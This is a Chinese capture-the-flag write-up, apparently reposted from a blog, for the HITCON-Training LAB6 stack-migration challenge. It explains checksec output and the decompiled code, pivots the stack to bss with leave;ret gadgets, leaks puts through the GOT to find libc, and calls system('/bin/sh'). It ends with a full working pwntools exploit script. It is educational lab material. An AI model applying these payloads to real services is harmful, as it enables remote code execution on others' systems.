[栈迁移]stackoverflow:HITCON-Training LAB6

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[栈迁移]stackoverflow:HITCON-Training LAB6相关的知识,希望对你有一定的参考价值。

文章目录

题目链接:https://github.com/scwuaptx/HITCON-Training

1、checksec


二进制文件是32位,开启了NX保护,RELRO为Full RELRO,开启该保护机制后,符号在编译时就全部被解析,它不会主动调用_dl_runtime_reslove函数,可有效防护got hijacking等攻击方式。

2、IDA反编译

使用IDA查看反编译的代码:

int __cdecl main(int argc, const char **argv, const char **envp)

  char buf[40]; // [esp+0h] [ebp-28h] BYREF

  if ( count != 1337 )
    exit(1);
  ++count;
  setvbuf(_bss_start, 0, 2, 0);
  puts("Try your best :");
  return read(0, buf, 0x40u);

3、解题思路

程序中,首先判断count值是否为1337,不等于就直接退出。IDA中双击count这个变量,看到这个值在data段,是0x539,正好是1337。而后count值加1,说明栈溢出的return addr不能是main函数的首地址。接着输出一句话,再读入数据。读入的数据是0x40h,buf缓冲为40,即0x28,两者的差值是0x18,这个值比较小,对32位的二进制程序来说,除了old ebp,只有5个格子的栈空间可以利用。这5个格子的空间来构造rop链,很难拿到shell,在这种情况下,本题主要采用的栈迁移的方式,来增加布局rop链的空间。
因此,本题首先将栈迁移到bss段,而后则按ret2libc的方法构造rop链。

3.1、栈迁移

栈迁移的目标是从stack迁移到bss段,通过size migration可以查看到bss段只占了8个字节:

这就很容易产生疑问,为什么迁移到8个字节大小的bss段后,反而具有了更大的布局空间?
可以在gdb调试中通过vmmap来查看:

从0x0804a000到0x0804b000的属性是rw,可读可写不可执行,这个区域包含了.data段和.bss段且.data段在更低的地址空间,为了在栈迁移时避免破坏.data和.bss段中的数据,通常迁移的位置是.bss段的首地址加上一个偏移,这个位置已经超过了远bss段的end位置,严格的说不能称之为bss段,但仍然可以读写数据。
迁移的目标是bss+0x500的位置,该位置不会破坏.bss和.data段的数据,也不会与其他段交叠。

3.2 第一次payload(迁移到bss)

栈迁移的payload为:

payload='a'*0x28 + p32(bss+0x500) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss+0x500) + p32(0x100)


main函数调用返回时,会执行leave和ret两条汇编指令:

leave相当于mov esp, ebp; pop ebp;
ret相当于pop eip;
两条指令用于从当前函数(callee)的栈空间恢复到调用函数(caller)的栈空间,通过上面缓冲区溢出的栈布局,就能利用这两条汇编指令实现栈迁移。
下面看一下执行两条指令时,esp、ebp和eip的变化

  • leave指令。执行mov esp,ebp;后,esp和ebp均指向stack上bss+0x500的位置;执行pop ebp;后,ebp指向bss+0x500指向的实际地址,esp向上退一格到read_plt的位置。
  • ret指令。执行pop eip;后eip指向read_plt,esp指向stack中leave_ret的位置。

此时,stack和bss的布局为:

3.3 第二次payload(puts泄露)

接上图,程序执行处于read_plt弹出到eip后,esp指向leave_ret的位置。程序执行read操作,读入的位置是bss+0x500,长度为0x100字节。送入的第二次payload为:

payload = p32(bss+0x400) + p32(puts_plt) + p32(pop1ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss+0x400)+ p32(0x100)

这部分payload直接读入bss+0x500指向的内存空间,返回到leave_ret执行,这个过程跟main返回时执行的两条语句一样,esp和ebp的变化为:

  • leave指令。执行mov esp,ebp;后,esp和ebp均指向bss+0x500的位置;执行pop ebp;后,ebp指向bss+0x400指向的实际地址,esp向上退一格到puts_plt的位置。
  • ret指令。执行pop eip;后,eip指向puts_plt,esp指向bss中pop1_ret的位置。

    接着,我们来看eip指向puts_plt后的执行过程,由于之前调用过puts,此时got表中对应的表项已指向libc
    中的真实地址,将参数设置为puts_got,就能泄露puts函数在libc中的真实地址,得到真实地址后,就能够计算出system、/bin/sh等资源的地址。
    执行完puts函数后,eip指向pop1 ret,该gagdet执行一次pop后再把read_plt pop到eip,执行read函数,此时,会送入第三次payload,长度为0x100,目标地址为bss+0x400。

3.4 第三、四次payload(getshell)

当前的上下文是eip指向read_plt,需送入第三次payload,并利用这次payload摆上system和/bin/sh的getshell组合。

payload = p32(bss+0x500) + p32(read_plt) + p32(pop3ret) + p32(0) + p32(bss+0x500) + p32(0x100)
payload += p32(system_add) + 'bbbb' + p32(bss+0x500)

read函数向bss+0x400写入数据后,执行leave_ret,esp和ebp的变化为:

  • leave指令。执行mov esp,ebp;后,esp和ebp均指向bss+0x400的位置;执行pop ebp;后,ebp指向bss+0x500指向的实际地址,esp向上退一格到read_plt的位置。
  • ret指令。执行pop eip;后,eip指向read_plt,esp指向bss中pop3_ret的位置。

    read函数执行时,需要送入第四次payload:
p.send("/bin/sh\\0")

第四次payload送入的位置又回到了bss+0x500。执行三次pop和ret后,eip指向system_addr,此时,其参数bss_0x500已摆好了/bin/sh,此时的布局为:

4 exp

#!/usr/bin/env python
from pwn import*
context.log_level="debug"
 
p = process('./migration')
lib = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./migration')
 
read_plt = elf.symbols['read']
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
buf = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
 
pop1ret = 0x804836d
pop3ret = 0x8048569
leave_ret = 0x08048418
 
puts_lib = lib.symbols['puts']
system_lib = lib.symbols['system']
 
p.recv()
 
log.info("*********************change stack_space*********************")
junk = 'a'*0x28
payload = junk + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)
p.send(payload)
 
 
log.info("*********************leak libc memory address*********************")
 
payload1 = p32(buf2) + p32(puts_plt) + p32(pop1ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
payload1 += p32(0) + p32(buf2) + p32(0x100)
p.send(payload1)
 
puts_add = u32(p.recv(4))
lib_base = puts_add - puts_lib
print "libc base address-->[%s]"%hex(lib_base)
system_add = lib_base + system_lib
print "system address -->[%s]"%hex(system_add)
 
log.info("*********************write binsh*********************")
payload3= p32(buf) + p32(read_plt) + p32(pop3ret) + p32(0) + p32(buf) + p32(0x100) + p32(system_add) + 'bbbb' + p32(buf)
p.send(payload3)
p.send("/bin/sh\\0")
p.interactive()
 

以上是关于[栈迁移]stackoverflow:HITCON-Training LAB6的主要内容,如果未能解决你的问题,请参考以下文章

栈迁移基础

关于栈迁移的那些事儿

IgH设置EtherCAT数据流程

revel golang的全栈开发框架

从单体式架构迁移到微服务架构,给大家安排上!

gyctf_2020_borrowstack wp